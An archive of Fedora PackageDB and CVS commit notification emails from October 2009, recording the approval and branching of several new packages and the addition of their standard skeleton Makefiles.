From pkgdb at fedoraproject.org  Thu Oct 22 04:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:45:00 +0000
Subject: [pkgdb] sblim-cmpi-sysfs (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044500.C983210F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-sysfs
kevin has set commit to Approved for 107427 on sblim-cmpi-sysfs (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-sysfs (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-sysfs (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-sysfs



From pkgdb at fedoraproject.org  Thu Oct 22 04:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:45:00 +0000
Subject: [pkgdb] sblim-cmpi-sysfs (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044500.D499110F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-sysfs
kevin has set commit to Approved for 107427 on sblim-cmpi-sysfs (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-sysfs (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-sysfs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-sysfs



From pkgdb at fedoraproject.org  Thu Oct 22 04:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:45:00 +0000
Subject: [pkgdb] sblim-cmpi-sysfs (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044500.DEAA610F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-sysfs
kevin has set commit to Approved for 107427 on sblim-cmpi-sysfs (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-sysfs (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-sysfs (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-sysfs



From kevin at fedoraproject.org  Thu Oct 22 04:45:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:45:09 +0000 (UTC)
Subject: rpms/sblim-cmpi-sysfs - New directory
Message-ID: <20091022044509.22D0311C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-sysfs
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsNYB406/rpms/sblim-cmpi-sysfs

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-sysfs added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:45:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:45:09 +0000 (UTC)
Subject: rpms/sblim-cmpi-sysfs/devel - New directory
Message-ID: <20091022044509.3A3DC11C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-sysfs/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsNYB406/rpms/sblim-cmpi-sysfs/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-sysfs/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:45:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:45:16 +0000 (UTC)
Subject: rpms/sblim-cmpi-sysfs Makefile,NONE,1.1
Message-ID: <20091022044516.ABDE511C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-sysfs
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsNYB406/rpms/sblim-cmpi-sysfs

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-sysfs


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-sysfs
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:45:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:45:16 +0000 (UTC)
Subject: rpms/sblim-cmpi-sysfs/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044516.E40E411C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-sysfs/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsNYB406/rpms/sblim-cmpi-sysfs/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-sysfs


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-sysfs
# $Id: Makefile,v 1.1 2009/10/22 04:45:16 kevin Exp $
NAME := sblim-cmpi-sysfs
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:46:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:46:46 +0000
Subject: [pkgdb] python-mpmath was added for jussilehtola
Message-ID: <20091022044646.E1CF410F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package python-mpmath with summary A pure Python library for multiprecision floating-point arithmetic
kevin has approved Package python-mpmath
kevin has added a Fedora devel branch for python-mpmath with an owner of jussilehtola
kevin has approved python-mpmath in Fedora devel
kevin has approved Package python-mpmath
kevin has set commit to Approved for 107427 on python-mpmath (Fedora devel)
kevin has set checkout to Approved for 107427 on python-mpmath (Fedora devel)
kevin has set build to Approved for 107427 on python-mpmath (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-mpmath



From pkgdb at fedoraproject.org  Thu Oct 22 04:46:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:46:47 +0000
Subject: [pkgdb] python-mpmath summary updated by kevin
Message-ID: <20091022044647.D17C710F885@bastion2.fedora.phx.redhat.com>

kevin set package python-mpmath summary to A pure Python library for multiprecision floating-point arithmetic

To make changes to this package see:
  /pkgdb/packages/name/python-mpmath



From pkgdb at fedoraproject.org  Thu Oct 22 04:46:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:46:47 +0000
Subject: [pkgdb] python-mpmath (Fedora, 11) updated by kevin
Message-ID: <20091022044647.DC32C10F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-mpmath
kevin has set commit to Approved for 107427 on python-mpmath (Fedora 11)
kevin has set checkout to Approved for 107427 on python-mpmath (Fedora 11)
kevin has set build to Approved for 107427 on python-mpmath (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-mpmath



From pkgdb at fedoraproject.org  Thu Oct 22 04:46:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:46:47 +0000
Subject: [pkgdb] python-mpmath (Fedora, 11) updated by kevin
Message-ID: <20091022044647.E8D1D10F89A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-mpmath
kevin has set commit to Approved for 107427 on python-mpmath (Fedora 12)
kevin has set checkout to Approved for 107427 on python-mpmath (Fedora 12)
kevin has set build to Approved for 107427 on python-mpmath (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-mpmath



From kevin at fedoraproject.org  Thu Oct 22 04:46:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:46:56 +0000 (UTC)
Subject: rpms/python-mpmath - New directory
Message-ID: <20091022044656.1E24711C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-mpmath
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsLS1313/rpms/python-mpmath

Log Message:
Directory /cvs/pkgs/rpms/python-mpmath added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:46:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:46:56 +0000 (UTC)
Subject: rpms/python-mpmath/devel - New directory
Message-ID: <20091022044656.47C0F11C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-mpmath/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsLS1313/rpms/python-mpmath/devel

Log Message:
Directory /cvs/pkgs/rpms/python-mpmath/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:47:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:47:03 +0000 (UTC)
Subject: rpms/python-mpmath Makefile,NONE,1.1
Message-ID: <20091022044703.B721111C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-mpmath
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsLS1313/rpms/python-mpmath

Added Files:
	Makefile 
Log Message:
Setup of module python-mpmath


--- NEW FILE Makefile ---
# Top level Makefile for module python-mpmath
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:47:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:47:04 +0000 (UTC)
Subject: rpms/python-mpmath/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044704.087D711C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-mpmath/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsLS1313/rpms/python-mpmath/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-mpmath


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-mpmath
# $Id: Makefile,v 1.1 2009/10/22 04:47:03 kevin Exp $
NAME := python-mpmath
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:47:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:47:44 +0000
Subject: [pkgdb] msimonson-anonymouspro-fonts was added for ozamosi
Message-ID: <20091022044744.AE80410F850@bastion2.fedora.phx.redhat.com>

kevin has added Package msimonson-anonymouspro-fonts with summary A coding-friendly monospace font
kevin has approved Package msimonson-anonymouspro-fonts
kevin has added a Fedora devel branch for msimonson-anonymouspro-fonts with an owner of ozamosi
kevin has approved msimonson-anonymouspro-fonts in Fedora devel
kevin has approved Package msimonson-anonymouspro-fonts
kevin has set commit to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora devel)
kevin has set build to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/msimonson-anonymouspro-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:47:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:47:46 +0000
Subject: [pkgdb] msimonson-anonymouspro-fonts summary updated by kevin
Message-ID: <20091022044746.7D0D610F880@bastion2.fedora.phx.redhat.com>

kevin set package msimonson-anonymouspro-fonts summary to A coding-friendly monospace font

To make changes to this package see:
  /pkgdb/packages/name/msimonson-anonymouspro-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:47:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:47:46 +0000
Subject: [pkgdb] msimonson-anonymouspro-fonts (Fedora, 11) updated by kevin
Message-ID: <20091022044746.812DC10F88F@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on msimonson-anonymouspro-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on msimonson-anonymouspro-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/msimonson-anonymouspro-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:47:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:47:46 +0000
Subject: [pkgdb] msimonson-anonymouspro-fonts (Fedora, 11) updated by kevin
Message-ID: <20091022044746.8E0A310F89C@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for msimonson-anonymouspro-fonts
kevin has set commit to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora 12)
kevin has set build to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora 12)
kevin approved watchbugzilla on msimonson-anonymouspro-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on msimonson-anonymouspro-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/msimonson-anonymouspro-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:47:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:47:46 +0000
Subject: [pkgdb] msimonson-anonymouspro-fonts (Fedora, 11) updated by kevin
Message-ID: <20091022044746.894CA10F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for msimonson-anonymouspro-fonts
kevin has set commit to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora 11)
kevin has set build to Approved for 107427 on msimonson-anonymouspro-fonts (Fedora 11)
kevin approved watchbugzilla on msimonson-anonymouspro-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on msimonson-anonymouspro-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/msimonson-anonymouspro-fonts



From kevin at fedoraproject.org  Thu Oct 22 04:47:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:47:54 +0000 (UTC)
Subject: rpms/msimonson-anonymouspro-fonts - New directory
Message-ID: <20091022044754.1B5B311C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/msimonson-anonymouspro-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsvH2159/rpms/msimonson-anonymouspro-fonts

Log Message:
Directory /cvs/pkgs/rpms/msimonson-anonymouspro-fonts added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:47:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:47:54 +0000 (UTC)
Subject: rpms/msimonson-anonymouspro-fonts/devel - New directory
Message-ID: <20091022044754.3DD2711C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsvH2159/rpms/msimonson-anonymouspro-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:48:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:48:01 +0000 (UTC)
Subject: rpms/msimonson-anonymouspro-fonts Makefile,NONE,1.1
Message-ID: <20091022044801.0BD4C11C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/msimonson-anonymouspro-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsvH2159/rpms/msimonson-anonymouspro-fonts

Added Files:
	Makefile 
Log Message:
Setup of module msimonson-anonymouspro-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module msimonson-anonymouspro-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:48:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:48:01 +0000 (UTC)
Subject: rpms/msimonson-anonymouspro-fonts/devel .cvsignore, NONE,
	1.1 Makefile, NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091022044801.5F66411C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsvH2159/rpms/msimonson-anonymouspro-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module msimonson-anonymouspro-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: msimonson-anonymouspro-fonts
# $Id: Makefile,v 1.1 2009/10/22 04:48:01 kevin Exp $
NAME := msimonson-anonymouspro-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:48:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:48:37 +0000
Subject: [pkgdb] gdouros-aegean-fonts was added for ozamosi
Message-ID: <20091022044837.64C5E10F850@bastion2.fedora.phx.redhat.com>

kevin has added Package gdouros-aegean-fonts with summary A font for ancient scripts in the greater Aegean vicinity
kevin has approved Package gdouros-aegean-fonts
kevin has added a Fedora devel branch for gdouros-aegean-fonts with an owner of ozamosi
kevin has approved gdouros-aegean-fonts in Fedora devel
kevin has approved Package gdouros-aegean-fonts
kevin has set commit to Approved for 107427 on gdouros-aegean-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on gdouros-aegean-fonts (Fedora devel)
kevin has set build to Approved for 107427 on gdouros-aegean-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegean-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:48:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:48:38 +0000
Subject: [pkgdb] gdouros-aegean-fonts summary updated by kevin
Message-ID: <20091022044838.F1A8310F88F@bastion2.fedora.phx.redhat.com>

kevin set package gdouros-aegean-fonts summary to A font for ancient scripts in the greater Aegean vicinity

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegean-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:48:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:48:38 +0000
Subject: [pkgdb] gdouros-aegean-fonts (Fedora, 11) updated by kevin
Message-ID: <20091022044839.0736210F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gdouros-aegean-fonts
kevin has set commit to Approved for 107427 on gdouros-aegean-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on gdouros-aegean-fonts (Fedora 11)
kevin has set build to Approved for 107427 on gdouros-aegean-fonts (Fedora 11)
kevin approved watchbugzilla on gdouros-aegean-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on gdouros-aegean-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegean-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:48:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:48:38 +0000
Subject: [pkgdb] gdouros-aegean-fonts (Fedora, 11) updated by kevin
Message-ID: <20091022044839.0DED710F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gdouros-aegean-fonts
kevin has set commit to Approved for 107427 on gdouros-aegean-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on gdouros-aegean-fonts (Fedora 12)
kevin has set build to Approved for 107427 on gdouros-aegean-fonts (Fedora 12)
kevin approved watchbugzilla on gdouros-aegean-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on gdouros-aegean-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegean-fonts



From pkgdb at fedoraproject.org  Thu Oct 22 04:48:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:48:38 +0000
Subject: [pkgdb] gdouros-aegean-fonts (Fedora, 11) updated by kevin
Message-ID: <20091022044839.19FDF10F8B3@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on gdouros-aegean-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on gdouros-aegean-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gdouros-aegean-fonts



From kevin at fedoraproject.org  Thu Oct 22 04:49:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:49:07 +0000 (UTC)
Subject: rpms/gdouros-aegean-fonts - New directory
Message-ID: <20091022044907.14DD211C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegean-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEg2554/rpms/gdouros-aegean-fonts

Log Message:
Directory /cvs/pkgs/rpms/gdouros-aegean-fonts added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:49:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:49:07 +0000 (UTC)
Subject: rpms/gdouros-aegean-fonts/devel - New directory
Message-ID: <20091022044907.39EFB11C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegean-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEg2554/rpms/gdouros-aegean-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/gdouros-aegean-fonts/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:49:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:49:14 +0000 (UTC)
Subject: rpms/gdouros-aegean-fonts Makefile,NONE,1.1
Message-ID: <20091022044914.1A39911C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegean-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEg2554/rpms/gdouros-aegean-fonts

Added Files:
	Makefile 
Log Message:
Setup of module gdouros-aegean-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module gdouros-aegean-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:49:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:49:14 +0000 (UTC)
Subject: rpms/gdouros-aegean-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044914.5BFB911C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegean-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsEg2554/rpms/gdouros-aegean-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gdouros-aegean-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gdouros-aegean-fonts
# $Id: Makefile,v 1.1 2009/10/22 04:49:14 kevin Exp $
NAME := gdouros-aegean-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:49:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:49:47 +0000
Subject: [pkgdb] evolution-couchdb was added for pbrobinson
Message-ID: <20091022044948.0E10810F880@bastion2.fedora.phx.redhat.com>

kevin has added Package evolution-couchdb with summary An evolution backend to CouchDBs for PIM information
kevin has approved Package evolution-couchdb
kevin has added a Fedora devel branch for evolution-couchdb with an owner of pbrobinson
kevin has approved evolution-couchdb in Fedora devel
kevin has approved Package evolution-couchdb
kevin has set commit to Approved for 107427 on evolution-couchdb (Fedora devel)
kevin has set checkout to Approved for 107427 on evolution-couchdb (Fedora devel)
kevin has set build to Approved for 107427 on evolution-couchdb (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/evolution-couchdb



From pkgdb at fedoraproject.org  Thu Oct 22 04:49:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:49:49 +0000
Subject: [pkgdb] evolution-couchdb summary updated by kevin
Message-ID: <20091022044949.BB8AD10F891@bastion2.fedora.phx.redhat.com>

kevin set package evolution-couchdb summary to An evolution backend to CouchDBs for PIM information

To make changes to this package see:
  /pkgdb/packages/name/evolution-couchdb



From pkgdb at fedoraproject.org  Thu Oct 22 04:49:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:49:49 +0000
Subject: [pkgdb] evolution-couchdb (Fedora, 11) updated by kevin
Message-ID: <20091022044949.C9BDC10F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for evolution-couchdb
kevin has set commit to Approved for 107427 on evolution-couchdb (Fedora 11)
kevin has set checkout to Approved for 107427 on evolution-couchdb (Fedora 11)
kevin has set build to Approved for 107427 on evolution-couchdb (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/evolution-couchdb



From pkgdb at fedoraproject.org  Thu Oct 22 04:49:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:49:49 +0000
Subject: [pkgdb] evolution-couchdb (Fedora, 11) updated by kevin
Message-ID: <20091022044949.E8D5D10F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for evolution-couchdb
kevin has set commit to Approved for 107427 on evolution-couchdb (Fedora 12)
kevin has set checkout to Approved for 107427 on evolution-couchdb (Fedora 12)
